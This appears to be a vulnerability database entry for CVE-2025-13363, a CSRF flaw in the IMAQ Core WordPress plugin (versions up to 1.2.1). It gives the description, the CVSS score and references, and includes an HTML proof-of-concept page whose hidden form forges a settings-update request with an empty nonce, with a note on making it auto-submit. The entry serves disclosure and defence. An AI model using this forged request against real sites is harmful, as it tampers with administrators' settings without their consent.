CVE-2025-13363

Description

The IMAQ Core plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.1. This is due to missing nonce validation on the URL structure settings update functionality. This makes it possible for unauthenticated attackers to update the plugin's URL structure settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

IMAQ Core plugin for WordPress <= 1.2.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

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<!-- CSRF PoC for CVE-2025-13363 -->
<!-- Target: WordPress site with IMAQ Core plugin <= 1.2.1 -->
<!-- This PoC demonstrates how an attacker can change the plugin's URL structure settings -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-13363 CSRF PoC</title>
</head>
<body>
    <h1>IMAQ Core Plugin CSRF Attack</h1>
    <p>Click the button below to execute the CSRF attack:</p>
    
    <!-- Auto-submit form that forges a request to update URL structure settings -->
    <form id="csrfForm" action="http://target-wordpress-site.com/wp-admin/admin-post.php" method="POST" style="display:none;">
        <!-- IMAQ Core plugin's URL structure update parameters -->
        <input type="hidden" name="action" value="academix_core_permalink_update">
        <input type="hidden" name="academix_permalink" value="malicious-url-structure">
        <input type="hidden" name="academix_permalink_nonce" value="">
    </form>
    
    <button onclick="document.getElementById('csrfForm').submit();">Execute Attack</button>
    
    <script>
        // Auto-submit after page load (for stealthier attack)
        // window.onload = function() { document.getElementById('csrfForm').submit(); };
    </script>
</body>
</html>

<!-- 
Attack Scenario:
1. Attacker creates a malicious page with the above form
2. Attacker tricks WordPress admin into visiting the page
3. Admin's browser sends authenticated request with modified parameters
4. Server processes the request without nonce validation
5. Plugin's URL structure settings are modified
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13363
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13363
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13363/
[4] VulDB https://vuldb.com/cve/CVE-2025-13363
[5] https://plugins.trac.wordpress.org/browser/imaq-core/tags/1.2.1/libs/AcademixCorePermalink.php#L58
[6] https://plugins.trac.wordpress.org/browser/imaq-core/trunk/libs/AcademixCorePermalink.php#L58
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/684de9c5-6f94-455d-b095-9f2df733ab95?source=cve

Raw JSON Data

JSON

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